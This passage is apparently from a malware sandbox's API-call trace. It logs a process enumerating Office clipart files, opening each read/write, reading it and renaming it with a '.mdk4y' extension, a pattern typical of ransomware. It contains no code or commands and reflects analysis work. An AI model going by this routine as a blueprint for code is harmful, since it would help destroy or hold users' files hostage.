[0167.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824234400000) returned 1 [0167.114] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe42c, lpOverlapped=0x0) returned 1 [0167.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824235500000) returned 1 [0167.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824235500000) returned 1 [0167.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.mdk4y")) returned 1 [0167.127] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.127] AreFileApisANSI () returned 1 [0167.127] GetACP () returned 0x4e4 [0167.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0296279.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0296279.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.127] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824235800000) returned 1 [0167.128] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1088e, lpOverlapped=0x0) returned 1 [0167.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824238700000) returned 1 [0167.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824238700000) returned 1 [0167.158] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.mdk4y")) returned 1 [0167.159] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.159] AreFileApisANSI () returned 1 [0167.159] GetACP () returned 0x4e4 [0167.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0296288.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0296288.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.159] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824239000000) returned 1 [0167.160] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x107ec, lpOverlapped=0x0) returned 1 [0167.182] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824241200000) returned 1 [0167.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824241200000) returned 1 [0167.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.mdk4y")) returned 1 [0167.184] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.184] AreFileApisANSI () returned 1 [0167.184] GetACP () returned 0x4e4 [0167.184] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297229.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297229.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.184] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824241500000) returned 1 [0167.185] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x59ce, lpOverlapped=0x0) returned 1 [0167.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824244500000) returned 1 [0167.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824244500000) returned 1 [0167.216] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.mdk4y")) returned 1 [0167.217] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.217] AreFileApisANSI () returned 1 [0167.217] GetACP () returned 0x4e4 [0167.217] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297269.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297269.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.217] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824244800000) returned 1 [0167.218] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d24, lpOverlapped=0x0) returned 1 [0167.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824247700000) returned 1 [0167.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824247700000) returned 1 [0167.248] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.mdk4y")) returned 1 [0167.249] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.249] AreFileApisANSI () returned 1 [0167.249] GetACP () returned 0x4e4 [0167.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297725.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297725.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.249] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824248000000) returned 1 [0167.250] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4236, lpOverlapped=0x0) returned 1 [0167.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824250900000) returned 1 [0167.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824251000000) returned 1 [0167.280] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.mdk4y")) returned 1 [0167.281] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.281] AreFileApisANSI () returned 1 [0167.281] GetACP () returned 0x4e4 [0167.281] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297727.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297727.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.281] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824251200000) returned 1 [0167.282] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c9c, lpOverlapped=0x0) returned 1 [0167.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824255400000) returned 1 [0167.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824255400000) returned 1 [0167.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.mdk4y")) returned 1 [0167.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.325] AreFileApisANSI () returned 1 [0167.325] GetACP () returned 0x4e4 [0167.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297757.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297757.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.326] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824255700000) returned 1 [0167.327] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x493e, lpOverlapped=0x0) returned 1 [0167.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824260300000) returned 1 [0167.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824260300000) returned 1 [0167.374] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.mdk4y")) returned 1 [0167.375] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.375] AreFileApisANSI () returned 1 [0167.375] GetACP () returned 0x4e4 [0167.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0297759.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0297759.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.376] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824260600000) returned 1 [0167.376] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4960, lpOverlapped=0x0) returned 1 [0167.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824269900000) returned 1 [0167.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824269900000) returned 1 [0167.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.mdk4y")) returned 1 [0167.471] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.471] AreFileApisANSI () returned 1 [0167.471] GetACP () returned 0x4e4 [0167.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0300862.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0300862.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.471] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824270200000) returned 1 [0167.472] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4584, lpOverlapped=0x0) returned 1 [0167.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824276000000) returned 1 [0167.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824276000000) returned 1 [0167.531] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.mdk4y")) returned 1 [0167.533] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.533] AreFileApisANSI () returned 1 [0167.533] GetACP () returned 0x4e4 [0167.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301044.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301044.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.533] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824276300000) returned 1 [0167.533] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b0e, lpOverlapped=0x0) returned 1 [0167.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824284000000) returned 1 [0167.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824284100000) returned 1 [0167.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.mdk4y")) returned 1 [0167.612] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.612] AreFileApisANSI () returned 1 [0167.612] GetACP () returned 0x4e4 [0167.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301052.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301052.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.612] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824284200000) returned 1 [0167.613] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ae8, lpOverlapped=0x0) returned 1 [0167.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824297100000) returned 1 [0167.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824297100000) returned 1 [0167.742] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.mdk4y")) returned 1 [0167.742] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.743] AreFileApisANSI () returned 1 [0167.743] GetACP () returned 0x4e4 [0167.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301418.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301418.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.743] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824297400000) returned 1 [0167.744] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4a5a, lpOverlapped=0x0) returned 1 [0167.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824305100000) returned 1 [0167.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824305100000) returned 1 [0167.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.mdk4y")) returned 1 [0167.823] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.823] AreFileApisANSI () returned 1 [0167.823] GetACP () returned 0x4e4 [0167.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0301432.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0301432.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.823] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824305300000) returned 1 [0167.823] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4dfa, lpOverlapped=0x0) returned 1 [0167.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824308100000) returned 1 [0167.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824308100000) returned 1 [0167.851] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.mdk4y")) returned 1 [0167.852] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.852] AreFileApisANSI () returned 1 [0167.852] GetACP () returned 0x4e4 [0167.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0304371.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0304371.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824308300000) returned 1 [0167.853] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe20, lpOverlapped=0x0) returned 1 [0167.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824308400000) returned 1 